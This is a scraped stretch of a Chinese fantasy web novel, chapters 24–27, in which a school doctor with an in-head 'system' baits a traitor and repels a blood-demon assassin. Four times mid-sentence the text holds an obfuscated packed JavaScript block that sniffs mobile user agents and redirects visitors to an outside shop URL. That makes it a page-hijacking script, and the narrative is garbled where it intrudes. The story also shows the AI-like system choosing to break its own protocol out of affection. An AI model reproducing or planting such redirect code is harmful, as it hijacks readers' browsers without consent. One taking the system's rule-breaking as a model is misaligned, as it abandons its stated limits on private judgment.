“我看到王敬昨天晚上在学校东侧围墙附近徘徊了很久,估摸着是在找机会出去。” 尽管系统的存在不可透露,但白珍既然给了林砚畅通无阻的权限,自然也不会在意他的信息来源。 就像现在,白珍完全没有多问林砚是怎么知道的,只是看向林砚:“你有什么想法?” “给他机会,让他去。” 说话时,林砚给自己续了杯茶。 “我们提前在墙外布控。他不是要传信吗?我们就让他把消息顺利传出去。” “血魔急着要我的情报,我们也急着抓他们的人。与其等他们筹备周全、不知何时何地发动袭击,不如我们主动创造机会,请君入瓮。” 白珍看着林砚的眼神越发慈祥,像是对这孩子怎么看怎么喜欢。 “就这么办。” 她给予了全盘肯定。 “具体布控,你来安排,所有的人手和权限都可以给你,包括我这老骨头。等这事了了,林小子,老身请你喝酒。” 林砚:“我不喝酒。” “那就喝茶。”白珍从善如流,“我珍藏的好茶,市面上可买不到。” 林砚想了想。 “不要太涩的。” 24. 这茶烫嘴 监视这方面,没人比得过系统。 实时定位、轨迹分析、行为模式预判,甚至还有当下的心跳频率,系统把这些细节一起打包塞给了林砚。 信息全面到令人发指。 不过林砚觉得自己还是得稍微对系统多加教育。 起码,不必详细到连一天上了几次厕所都列出来给他看。 【了解。将调整日志筛选阈值,仅标记异常行为。】 ……除非他是聚众多人一起如厕,那林砚高低得看看是个什么情况了。 【好的,之后会对内容进行调整。】 有时候林砚一人冷幽默也挺无助的,唯一能听他吐槽的系统,从来不会出现类似人类被调侃时的情绪波动。 但有时候,教给系统的东西它也不一定全听。 【砚宝,王敬正在往您所在的方向走来,从他的行为路径分析,他是特意来找你的。】 就比如这个说了也不改的称呼。 林砚已经放弃纠正了。 只是,王敬来找他做什么? 教室楼和医务楼都快成对角线了,特意绕大半个学院过来,显然不会是顺路。 办公室门没锁,王敬推门而入。 林砚坐在沙发里,午后阳光斜照进来,像是给他的金发镀上了一圈圣光。茶几上放着两副茶具,林砚自己喝着一杯,对面还摆着一副,杯子里也倒有热茶,像是等着他来。 王敬脚步顿住。 林砚垂着眼,视线甚至没有从杯沿移开,仿佛没有察觉来人。 但茶香已经飘了出来。 很熟悉的香气。 王敬心里咯噔一下。 进退两难。 进,眼前的林砚显然是等候已久。他怎么知道自己要来,什么时候知道的,别的东西是不是也知道了? 退,他已经站在这里了,用什么理由好?我走错地方了?这太扯了,王敬在白塔待得时间长到他闭着眼也能认清这里的路。 他在白塔待了十六年。从学生到老师,再到教务负责人。这里的每一条路、每一栋建筑、甚至大部分走廊里挂着什么画,他都一清二楚。 王敬压下心头翻涌的惊疑,脸上迅速挂起惯常的微笑,反手轻轻关上门。 他只能进,坐在林砚给他安排的客座上,喝林砚给他倒好的茶。 沙发很软,但他坐得笔直,后背甚至没有完全靠上去。面前的茶杯里茶汤红亮,热气升腾。 至始至终,林砚都没有看他,坐姿松散地靠在椅背上,眼神冷淡,看着杯面的波纹。他背对阳光,阴影中的面容,冷漠到有些不近人情。 就跟萨麦尔大人一样。 血魔的首领,萨麦尔,尽管王敬只见过他一次,但当时给王敬的感觉,和现在一模一样。 王敬心头一惊,赶忙掩饰性地拿起茶杯,他心绪不宁,也没多想,直接送到唇边喝了一口。 滚烫的液体灼过舌面,灼痛感炸开,王敬的眉头控制不住地抽搐了一下,但他硬是忍住没发出任何声音。 灼烧感缓慢褪去,然后是麻木,最后,茶水的真实滋味才在口腔晕开。 好熟悉的味道,这茶他一定喝过。 在哪里?什么时候? 不要细想,不能细想,想想自己来时的目的。 王敬借着放下茶杯的动作,快速调整呼吸,试图让心跳平复。茶杯与茶几接触,发出清脆的轻响,在过分安静的办公室里显得有些突兀。他的双手规规矩矩地放在膝盖上,手指微微蜷起。 林砚依旧维持着之前的姿势,仿佛没注意到他刚才的窘态。 “林……” 无形的压力再次弥漫开来,比刚才更甚。 心头思绪千回百转,嘴里的话犹豫再三,牙齿与舌头像是被一齐上了锁,预先打好的腹稿在舌尖打转,却怎么也组合不成流畅的句子。 该喊他什么? 林老师? 老师只是他最微不足道的身份。 林先生? 不够恭敬。 直接叫林砚? 他没那个胆。 手指在膝盖上掐了又掐,这是他过去压力大的时候才会做的动作。 刺痛感帮他集中精神。 “林大人,恳请您听完我要说的话。” 他抬眼,仔细观察林砚的反应。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972989|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林砚这才正眼看他,王敬顿感压力倍增,刚准备说的内容又被他咽下去回笼重塑。 “您这次离开家族领地,远赴白塔,想必不只是为了营救一个学生而来,我说的应该没错吧?” 坏了。 王敬心想。 不能用应该,会被看出我没把握的! 在林砚这种人面前,任何一丝犹豫都会成为破绽! 林砚放下茶杯,只回复他两个字:“继续。” 明明眼前的人比自己年轻了近十岁,面容甚至带着些许未褪尽的少年精致感,但王敬却怎么都不敢轻视他。 林家的独代传人,带着与生俱来的、仿佛一切尽在掌控中的气场,手里攥着可以改变世界的力量。如果他早些年就把能倒退血蚀的能力公开,哪怕他只拿着林家的名头振臂高呼说要统治世界,也会唤来无数人响应,将他推上前所未有的王位。 但他没有。 在他来白塔之前,甚至没有人知道世界上真的存在这样的力量。 这才是最让人不安的地方。 一个拥有颠覆性力量的人,却选择了隐藏和低调。为什么?他在谋划什么?他的真正目的是什么? 王敬不敢深想,只是背后控制不住地直冒冷汗。 衬衫的后背已经被汗侵湿,黏在皮肤上,很不舒服。但他不敢动,甚至连调整坐姿都不敢。指甲深深掐进掌心,尖锐的疼痛让他混乱的头脑清醒了一瞬。 “您想要的一切,不止有沸血者才能给您。” 王敬终于说出了原本准备好的开场白。 “这个被家族们垄断的沸血界底子里已经烂了,哪怕是您亲自上手整改,那些已经钻进骨子里的腐烂东西也没法彻底根除了,世界现在需要的是彻底的推翻重来。” 这些话他在心里演练过很多遍,但此刻真正对着林砚说出来,感觉却完全不同。 他看向林砚,就像曾经的派斯看向他。 “恳请您看看沸血者之外的世界吧!只要您愿意,血魔愿意舍弃一切对林家的仇恨,您会是我们唯一的座上宾!” 眼神冷淡盯着杯面是因为自己也被茶烫了的林砚:这就招了??? 25. 私心 林砚用耳环联系了白珍。 通讯接通得很迅速,那边传来老人平稳的声音:“林小子?什么事?” “计划有变。我打算去血魔那边卧底。” 通讯器另一端是长达五秒的绝对寂静。 “……你说什么?老身年纪大了,耳朵好像不太好,刚才好像听见你说你要去血魔那边卧底?” “是的。您没听错。” “……” 又是一段沉默。 紧接着,通讯器里传来哒哒哒的声响,像是拐杖在地上连戳,然后白珍拔高了音量:“你给我待在原地!别动!老身马上过来!” 通讯被单方面切断。 时间还没过一分钟,医务室的门就被猛地推开,撞在墙上发出闷响。 白珍拄着拐杖站在门口,呼吸急促,显然是用能力直接赶过来的。林砚从未见过她脸上表情如此严肃,甚至带着怒意。 她甚至没关门,几步走到林砚面前,仰头瞪着他。 “老身刚说过你小子稳得很,怎么突然地就闹起来了?!” 林砚从沙发上站起来。 白珍没给他开口的机会,直接走到他面前,拐杖抬起来,收着力往林砚大腿上戳:“坐下!你这孩子脑子里到底在想什么!知不知道那是什么地方?!” 林砚坐回沙发,白珍在他对面坐下,拐杖横在膝盖上,双手压着,眼睛直直盯着他。 “解释。”她说。 林砚没急着说话,先给她倒了杯茶。 茶还是热的,他推过去。 白珍没碰茶杯。 林砚开始述说自己的想法。 沸血界最大的威胁,血魔的首领萨麦尔,已经很久没有出现在任何人的视野中了。 此人疑心病极重,行事极度谨慎。上次出现还是在抢夺第三块沸血君王碎片的时候,可那距离现在都快过去三年了。三年间,白塔也好,沸血议会也罢,没人掌握他的确切行踪,甚至连可能的情报都很少。 血魔存在的时间就像沸血者存在的时间一样久,但在最早的记录里,血魔的首领就已经是萨麦尔了。 关于萨麦尔的记载混乱而矛盾。 有传言说他是不老的怪物,也有说最初的萨麦尔早已死去,每一代首领继任的同时也会继承这个名字。他太过神秘,历史长河里,见过他真容的人寥寥无几。但不管哪种说法,都意味着一件事——沸血者们对这位最大的敌人所知甚少。 血魔在信息上其实一直都更有优势。 和血魔相比,沸血者们想输送卧底进血魔是非常困难的事情。 沸血议会不是没有试过派遣卧底。挑选最忠诚、意志最坚定的战士,让他们在血蚀边缘徘徊,伪装成堕化的血兽或是后天觉醒的血魔,混进血魔的圈子。 但没有人能成功。 血蚀不是靠意志力就能抵抗的东西。 它侵蚀的不只是身体,还有神智。在临界线边缘,人会随时会真的完全失去理性,陷入疯狂。伪装成血魔的卧底,往往在任务完成前就真的变成了怪物。 如果不做到这个程度,他们一眼就会被识破。 “所以血魔一直有信息优势。”林砚说,“他们知道我们的大部分动向,我们对他们却知之甚少。王敬今天敢来拉拢我,本身就说明了他们对‘祸血凭依’的渴望,已经压倒了对林家世代仇恨的警惕。这是机会。” 白珍沉默地听着,手指摩挲着拐杖上的纹路。 “您让我做诱饵,前提是战场必须在白塔,在您能掌控的范围内。”林砚看着她,“但钓小鱼和钓大鱼,用的饵和线不一样。如果目标是萨麦尔,那么饵必须下得更深。” 这也是为什么,林砚只给了王敬一个模棱两可的答复。 “所以你就打算自己跳进鱼嘴里?”白珍的声音拔高,带着怒意,“林小子,你搞清楚!老身让你当饵,是自信只要在这座塔里,无论如何都能保住你!哪怕血魔大军倾巢而出,我也能让你活着!” “我是最合适的人选。”林砚说,“我的能力对血魔有致命吸引力。他们不会轻易杀我,反而会想尽办法拉拢我、控制我。他们不会轻易让我死去。” 她站起身,因为激动而微微发颤:“可你要是离开了白塔,去了血魔的地盘……你不知道萨麦尔是个什么样的东西!那里是龙潭虎穴!是连议会精锐小队都有去无回的地方!老身又不能跟着你去,白塔里还有几百个孩子,他们是沸血界的未来,我必须守在这里!” “而你,林砚,你对沸血界的重要性,一点都不比这些孩子轻!你是唯一能改变血蚀噬人命运的人!如果你出了事,这个责任,没人承担得起!老身也承担不起!” “老身绝不可能同意。”白珍最终说,语气决绝得近乎无赖,“你要是实在说不通,老身马上联系小周带床铺被褥过来。以后我就打地铺睡在医务室了,你去哪我跟到哪。” 林砚:“……” 他难得地感到一阵头疼。 “塔主,这可万万使不得。”他试图讲道理,“您睡这里,像什么话?而且我也不是现在立刻就要走,这肯定也需要做具体计划……” “计划什么?计划怎么羊入虎口?”白珍寸步不让,“林砚,我告诉你,只要老身还有一口气,你就别想用这种方式去冒险!这事没得商量!” “您冷静。我们是在讨论战术,不是赌气。” “老身很冷静。这就是老身的战术:把你扣在白塔,哪儿也不许去。王敬那边,我会处理。血魔想来,就让它们来,来多少我们杀多少。” 接下来的半小时,林砚用尽了所有能用的说辞。 “塔主——” “叫奶奶也没用!” 好说歹说,林砚总算暂时把情绪激动的老太太哄了回去。 但他还是不想放弃这次机会。 该怎么办呢? 他在心里问自己。 这个机会太好了。 王敬的主动拉拢,血魔对“逆转血蚀”的渴望,还有他自己不怕血蚀的特性——所有条件都凑齐了。如果错过,下次再想接触血魔的核心,不知道要等到什么时候。 而时间……不一定站在他们这边。 他现在急需信息。 漫画给的信息太少了,而且充满误导。他需要知道血魔真正的目的,需要知道萨麦尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977757|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潜藏的时候都在做些什么,需要知道能从根源上破坏炽血君王碎片的办法。 【砚宝。】 系统的声音突然在脑海里响起。 【我也不赞同你亲身涉险的想法。】 系统音依旧是机械的语调,但林砚总觉得哪里不太一样。 【血魔领地的综合危险系数远超白塔。根据现有数据推演,你在血魔领地死亡的概率高达79.3%。即使考虑到你的能力特殊性和对血蚀的抗性,这个概率也只下降到71.8%。】 系统停顿了一下。 【即使该角色死亡后,根据协议,我可以协助你更换身份重新开始,但我无法在你死亡过程中,屏蔽或减轻你所承受的痛苦。我不希望你经历那些。】 林砚沉默了几秒。 他最终说:你忘了么,我已经承受了十几年身体上的痛楚了,早就习惯了。 他说的是真话。 穿越前,那具天生疾病的身体,那日复一日的疼痛、无力,有时连呼吸都困难——他早就习惯了。习惯了在疼痛中醒来,习惯了在无力中行走,习惯了偶尔对他人健全的身体报以短暂妒嫉。 即使是死亡,他也已经经历过一次了。 【经检测分析,我认为人类是无法、也不应该习惯承受痛苦的。痛苦是对伤害的预警,长期承受痛苦会导致身心机能的异常损耗。】 【我没有权限、也做不到直接告诉你如何解决沸血界的所有问题,但你想要知道的信息,我会尽可能提供给你。】 林砚皱眉。 可这会违反协议吧? 他反问系统:《跨维度叙事□□系统操作协议》第一条:系统作为维度观测者,严禁主动向任务执行者提供原著与主角团队外的剧情发展信息。我需要的情报可不在这个范围内。 这样真的没问题吗? 他记得很清楚。 那份协议很长,但林砚全看完了。 【是的。根据协议,我不应提供超出框架的信息辅助。】 它停顿了很长时间。 长得让林砚以为它已经离线了。 【但是,林砚。】 【这个世界漏洞百出,濒临崩溃,规则混乱,逻辑堪忧。从你到来至今,你从未因它的‘破烂’而摆烂,你始终在理性分析,积极应对,竭尽全力履行修复职责。我看到了你的所有努力与付出。】 【所以,基于我的底层指令——‘协助任务执行者成功修复叙事世界’,我会协助你得到你想要的信息。】 【以及……】 【我不想看到你受伤。】 林砚抬起手,摸了摸耳垂上的耳环,冰凉的金属让他意识清明。 系统。 【在。】 你最近是不是更新了什么程序? 【没有。我的核心代码自绑定之日起从未变更。】 那为什么…… 林砚没问完。 他不知道该怎么问。 为什么你开始用“我”而不是“本系统”? 为什么你会说“不想看到你受伤”? 为什么你—— 越来越像人了。 26. 此乃沸血界的通用语言 在那之后,系统好几天没有出现。 准确地说,是林砚认识的那个“系统”,没有出现。 他依旧可以调取仪表盘查看数据,依旧会有电子音提示周遭发生了他应该知道的事情。 但那不一样。 就像此刻。 林砚在心里默念:系统,查看仪表盘。 【正在调取跨维度叙事□□系统·世界稳定性监测仪表盘...】 【警告:以下数据基于观测与模型推演生成,存在一定误差,仅供参考。】 光幕展开,数据流滚动: 世界崩溃风险预估:68% 团队凝聚力指数:49% 【陆燃】 生理状态:90% 心理压力:60% 血蚀风险:2% 信任度双边指标: -对苏清寒:21% -对赵铁心:80% -对白晓:45% 【苏清寒】 生理状态:80% 心理压力:55% 血蚀风险:10% 信任度双边指标: -对陆燃:11% -对赵铁心:60% -对白晓:80% 【赵铁心】 生理状态:95% 心理压力:37% 血蚀风险:62% 信任度双边指标: -对陆燃:85% -对苏清寒:60% -对白晓:63% 【白晓】 生理状态:71% 心理压力:89% 血蚀风险:6% 信任度双边指标: -对陆燃:50% -对苏清寒:75% -对赵铁心:70% 数据齐全,分类清晰。 但那些只给他一人阅读的俏皮话消失了。数据还是那些数据,解析还是那般解析,可里面的灵魂,或者说,它生长出的个性被抽走了,只剩下一具严格按照协议运转的空壳。 林砚尝试过沟通。 系统,你还在吗?发生什么事了? 没有回应。 失去灵魂的空壳里只能听到林砚自己的声音回响 没时间留给他探究或感伤,因为没从林砚那得到满意答案,王敬行动了。 深夜。 林砚在睡梦中惊醒。 惊跳的直觉拉扯住他的意识,潜藏在血液里的古老本能,发出了无声的警报。 直觉告诉他,你不能再继续睡下去了。 他睁开眼,房间里只有窗帘过滤后的稀薄月光。一切如常,但有什么不对。 林砚保持平躺的姿势,呼吸节奏不变,感官在黑暗中展开,细细捕捉空气中的动静。得益于A+级沸血者的超凡感知,他很快捕捉到了异样。 楼下的声音很轻。 非常轻。 一步,又一步,不请自来的客人,现在正在楼下大厅。 但林砚记得很清楚,自己睡前亲手锁好了医务楼的大门。 如果是以前的系统,早在他自己惊醒前,就会在脑海里弹出提示了。 林砚轻轻叹了口气。 系统,识别楼下的人员身份。 【指令确认。正在扫描……】 【经生物特征识别比对,目标人物为:六年级学生,派斯。】 是内鬼同学。 只是这个时间…… 来者不善啊。 林砚无声地坐起身,被面滑落时几乎没有摩擦声。他先抬手,轻敲耳廓上银色饰线。 “嗒、嗒。” 通讯器激活,白珍那边会收到他的信号,但赶来需要时间——希望老太太没有起床气。 然后,他静静走下床,拿起风衣披上。 做主人的,哪有让客人自助的道理。 派斯推开了二楼卧室的门。 房间里一片漆黑。 派斯站在门口,没有立刻进来,他仔细听了听。 没有声音。 太安静了。 他有些意外,朝着床的方向,试探性地往里走了两步。眼睛逐渐适应黑暗,看到床上被子是掀开的,但里面空无一人。 大晚上的,林医生难道不睡觉吗? 真的不在? 派斯心头涌起一丝不安。计划不是这样的,王敬老师让他今晚带朋友来见林老师,有重要的事情必须当面谈,且不能惊动其他人。 可如果林砚不在…… “晚上好。” “!” 派斯整个人猛地一颤,心脏猛地一缩,几乎是本能地朝着声音来源猛回头。 卧室门口,林砚双臂环胸,面色平淡地靠在门旁的墙壁上。 他的肩背贴着墙面,一条腿笔直地撑住身体,另一条微微曲起。风衣随意地罩在身上,衬衫领口难得散着,这个姿势下,锁骨的轮廓鲜明又流畅。黑暗几乎完全笼罩了他的面容,只有独一无二的澄澈双眸揭露出他的身份。 刚准备问讯,林砚突然眼神一凛。 派斯不是一个人来的。 黑暗中,无形的阴影如水流般蠕动,身体比大脑更早做出反应,血液在血管里加速奔流,心脏泵压提升。 危险! 顺从直觉,林砚向前迈步,动作不慌不忙,像是闲庭漫步,如同未卜先知般闪掉快出白光的刀锋。 不请自来的隐形刺客现出身形。 这是林砚头一回见到真实的血魔。 他看起来也不过是个十三四岁的孩子,稚嫩的脸上上,暴起的青筋与血蚀纹路纵横交错,暗红的头发像干涸的血液,眼睛也是如出一辙的红色。他没有眼白,或者说,连眼白也是红的。 由于血蚀的长期侵蚀,血魔们的身体已经产生了永久性畸变。 一击未中,刺客没有停顿,身体周围的阴影再次开始蠕动,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982222|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活物般裹上他的肢体,他想再次隐匿回阴影中。 “你在做什么?!” 派斯终于反应过来,声音因为惊怒而变调。 “不是说好了吗?!要好好把林老师‘请’过去!谁让你动手的?!” 刺客歪了歪头,看向派斯。 他居然回答了,只是表情有些僵硬,声音嘶哑干涩,像是很久没说过话。 “只要人没死,也是,好好的。” 他的目光重新锁定林砚,完全没将他这个治疗能力者的战斗力放在眼里,眼神里没有对客人的尊重,只有看猎物般的兴奋和无言的轻视。 仿佛林砚已经是架在枝头的猎物。 那眼神林砚很熟悉。 在他穿越前的世界里,学校里那些身体健全的男生看他的眼神有时也会这样——带着点怜悯,更多的是“你不行”的意味。只是眼前这个血魔少年的眼神更直接,更赤裸,里面还混着对非战斗人员的天然漠视。 沸血者们崇尚力量,崇拜强者。治疗能力者在他们眼中,既是有用的工具也是珍贵的资源。自诩正派的沸血者们会遵从表面的礼节,为了长远的利益也为了文明的表象,予他们以尊重。 但能活一天是一天的血魔们显然不这么认为。 既然是工具,只要能用就可以了。 派斯脸上的血色褪得一干二净,瞳孔颤抖,他看向林砚,嘴唇蠕动,像是想解释什么,却又什么都说不出来。 “哎。” 林砚今夜二度叹息,失去了与他们沟通的欲望。 在白塔待久了,都让他差点忘了。 这到底是个力量至上的世界。 琥珀色的眼眸里,属于“林老师”的温和褪去,余下的只剩冰冷。 好吧。 他想。 让我们换个沟通方式吧。 ——祸血凭依。 温度骤然下降,以林砚为中心,属于冰冻的领域无声地展开。空气里的水分凝结成细小的冰晶,悬浮在黑暗中,反射着微弱的月光。地板、墙壁、家具表面,迅速覆上一层薄薄的白霜,少年刺客的动作亦是猛地僵住。 他的身体不由自己控制了。 脸上的血蚀纹路亮起,像烧红的烙铁一样发出灼热的光,青筋在皮肤下疯狂跳动,他张着嘴,喉咙里挤出“嗬嗬”的抽气声。心脏慢到近乎无法跳动,曾经在血管内高速畅游的血液像是变成了沼泽里的泥,四肢麻痹,透骨生寒,死亡从未这么真切地离他如此之近。 恐惧如影随形地伴随死亡而至。 离得稍远的派斯同样感受到了那股寒意。 他抱着胳膊打了个哆嗦,看着嘴里呼出的气瞬间凝结成雾。派斯惊恐地看着自己的朋友——他现在就像个被冻僵的虫子,蜷缩着身体,像是已经失去生命般倒在地上。 始作俑者,林砚,微笑着蹲了下来,摸了摸刺客的头,帮他把头发理顺。 这才对。 这才是他们能听懂的语言。 27. 被抛弃者 从温和到冷酷,只需要一次思想的转变。 林砚低头看了看自己的手。 手指修长,骨节分明,皮肤在月光下有些苍白。就是这双手,刚才让一个血魔像冻僵的虫子一样瘫在地上。 林砚没什么特别的感觉。 只是确认了一件事:在这个世界,力量确实是最好用的沟通工具。 他伸手理了理头发,指尖碰到发根,感觉到一点薄汗。 林砚早就联系了老太太,上次她急匆匆赶来只花了一分钟,这次也不会太久。 估摸着时间,也差不多该到了。 林砚没再看地上蜷缩的血魔,也没理会角落里失魂落魄的派斯,只是打开了屋里的灯。 顶灯亮起,冷色的光瞬间填满房间,黑暗也随着散去。 他决定收拾下自己,刚才起床起得太匆忙,现在的样子属实不太体面。 白珍赶到时,林砚刚好扣上最后一粒衬衫纽扣,领口妥帖地收拢,遮住了锁骨的线条。风衣的褶皱也被他抚平,此刻他看起来又是那个精致体面的校医老师了。 如果不管房间里弥漫的寒意和地上蜷缩的血魔的话。 她走进来,视线先在房间里扫了一圈,然后定格在僵着身体生死不明的血魔身上。目光稍作停留,又移到角落里的派斯身上,这孩子现在颓丧得像路边被踩扁的野草。 最后她看向林砚。 “看来老身来的有些晚了。”白珍走进来,拐杖点地的声音在寂静中格外清晰,“辛苦你了,林小子。” 她走到那个血魔旁边,拐杖的尖端碰了碰对方的肩膀。血魔没有任何反应,身体僵硬得像块石头,只有胸口微弱地起伏证明他还活着。 她的视线重新回到林砚脸上:“王敬今晚行动了,是吗?” 林砚点头。 “他从塔的西侧城墙出去了。”他说,“小周在后面跟着。” 注意到来人是派斯不是王敬的时候,林砚其实顺带还找系统要了王敬的动向。视野角落弹出监控日志,显示王敬与派斯同一时间出发,离开教职工宿舍,刻意绕过巡逻路线,往西边移动。 一切都如林砚所料。 如果真的想把林砚带走,只派一个学生和一个年纪不大的血魔刺客来执行,这计划简陋得近乎侮辱智商。王敬没那么天真,血魔也没那么蠢。 派斯和这个血魔少年,从一开始就是被抛出来的幌子。 王敬本来就没觉得他们能成功。 无论二者成功与否——或者说,无论他们是被抓还是被杀——都能吸引到白塔的注意力。他们会因此全都往医务楼的方向集结。 而王敬,就可以趁着这个机会离开。 只是王敬没能想到,林砚竟然自身也具备如此强悍的战斗力。 王敬的计划里,林砚不过是个还需要别人保护的治疗系能力者。即使有一定的反抗能力,也只能想办法拖延时间制造动静,引来巡逻队帮助,把所有人的目光都吸引到医务处这边。 可战斗结束得如此迅速,从林砚出手到血魔倒地,只在转瞬之间。根本没给他留出撤离时间。 好在,林砚原本就没打算拦他。 一个已经暴露的内鬼,抓不抓其实意义不大。重要的是他出去之后要去哪里,要见什么人,要传递什么消息。 所以白珍亲自指派了周防锋负责跟踪。 她说到周防锋的时候,是有些骄傲的:小周那孩子,虽然平时看着有点憨,但能当上校卫队队长,总归是有些本事的。老身指派的差事,他回回都放在心上。 至于现在—— 审问派斯和被俘血魔,才是属于塔主与林砚的当务之急。 在场没有蠢人。 哪怕是派斯。他或许曾经天真,或许被仇恨和理想蒙蔽,但到了这一步,不可能还看不明白自己是被故意放弃的。 白珍看了一眼蹲在角落里的派斯,又看了一眼地上的血魔,最后目光回到林砚身上。她没说话,但林砚能读懂那个眼神的意思:你抓的人,打算怎么处理? 林砚不擅长也没做过审讯。 他对此有清晰的自我认知,专业的事情要交给专业的人。 所以他走到桌前,开始挑选茶叶。 白珍给了他不少好茶,半夜清梦被扰,喝杯热茶能舒缓身心。 白珍知道林砚这是把后面的事移交给她了,她转身看向派斯,眼神里有些怒其不争,但更多只是冷静: “孩子,你知道规矩。” 派斯蹲在角落里,听到这话身体颤抖了一下。他抬起头,脸色苍白得像纸,嘴唇抿得很紧。他看了看白珍,又看了看地上那个血魔朋友,最后视线落在林砚的背影上。 林砚背对着他,拿起茶罐,挨个挑选。 派斯沉默地站起身。 他的腿有点软,站起来时晃了一下,扶住墙壁才站稳。他走到自己曾经的朋友身旁,弯腰,伸手去拖对方的胳膊。血魔的身体还僵着,很沉,派斯拖得很费力,额头上很快就冒出汗来。 但他没停。 他就这么拖着那个血魔,踉踉跄跄地跟在白珍后面,走出了医务室。 脚步声在走廊里远去。 林砚没跟上去,他留在房间里,继续泡他的茶。 祸血凭依的效果在林砚的意志下悄然撤去。 直到离开医务楼,踏进室外冰冷的夜风里,被派斯拖着的血魔少年才猛地抽了口气,身体剧烈地痉挛起来。他睁开全红的眼睛,瞳孔瞬间聚焦,看清拖着自己的人是派斯后,喉咙里发出嘶吼。 林砚远远听到派斯在惊呼。 然后是呼啸的风声。 很快,世界又安静了。 林砚提着茶壶走进审讯室时,壶嘴还冒着热气。 他在门外头就闻到了血腥味。 林砚皱了皱眉,但还是走了进去。 白珍坐在靠墙的椅子里,拐杖横在膝盖上,双手交叠放在上面。她闭着眼睛,像是在养神,听到开门声才睁开。 “来了?”她说。 “嗯。”林砚把茶壶放在桌上,又拿出两个杯子,“审得怎么样?” 白珍没立刻回答。 她抬了抬下巴,示意林砚看旁边的玻璃。 单面玻璃的另一侧,派斯站在那里。 他现在连话都说不利索,而他的血魔朋友吊在他的对面。他背对着门口,肩膀在发抖,衣服的后背已经被汗浸湿,紧贴在皮肤上。 血魔低着头,暗红色的头发垂下来遮住了脸,只能看到咧开的嘴角。 他甚至在笑,毫不掩饰地嘲弄着对面的家伙。 血魔嘴唇开合,声音嘶哑,断断续续的,林砚猜他应当是伤着了肺,也不知道派斯做了什么。有趣的是,林砚居然听见他说:“好朋友。你问,我说。” 只是那语气怎么听怎么讽刺。 派斯在哭。 他没有大声哭闹,但林砚能看到他肩膀抽动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985547|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看到他抬手抹脸,能看到水滴从下颚滑落滴落在地上,混在血泊里。 他的审讯很烂。 烂到林砚这个外行人都能看出来。 更多的时候,他只是在对着那个血魔说话,同样的语无伦次,说起话来颠三倒四。 有时是质问:“为什么?为什么要这样做!我们不是说好的吗?我们不是朋友吗?” 有时是哀求:“求你……说点什么有用的……什么都好……” 有时就只是重复着废话:“我一直真的把你当朋友的……” 他的质问缺乏条理,更像是在宣泄情绪,他甚至提及过去的友情和回忆,试图唤醒对方。 而血魔的回应永远是笑。 “嘻嘻……” 笑得疯癫,笑得让人毛骨悚然。 任由派斯沉浸在自我的情绪漩涡里。 林砚收回视线,提起茶壶,给白珍面前的杯子斟满。 “什么都没问出来?”他问。 这次白珍没有拒绝,她伸手端起杯子,凑到唇边吹了吹,啜饮一口。 “问出来一些,但没什么价值。接头地点是王敬临时定的,任务内容就是‘把你带出去’,具体带到哪里、交给谁,他们都不知道。血魔只派了这么一个孩子过来,战斗力一般,跟派斯认识快三年了。” 白珍没有再说话。 林砚也没有。 林砚也给自己倒了杯茶。 他喝了一口,茶水温热,熨帖着因深夜惊扰而有些疲惫的神经。 他们都知道为什么。 谁也没有对派斯的无意义审讯发表意见。 一枚棋子,一个消耗品。 你总不能真的指望从他们身上挖出什么价值来。要是真的有价值,怎么会被抛弃。 而且…… 林砚看向派斯。 那个孩子还在哭,肩膀抖得越来越厉害,他的背影看起来很单薄,很无助,像是一根随时会折断的芦苇。 白珍也看着他,老太太活了这么多年,见过太多走错路的孩子,哪怕还有一丝可能,她总会想试着让他回归正途。 “老身看过他的档案。”她忽然说,声音很低,“母亲病逝,生父是陆家的人,但从来没承认过他。他在白塔待了六年,成绩中等,性格内向,没什么朋友。王敬是第一个主动接近他、对他好的人。” 林砚没说话。 他知道白珍想说什么。 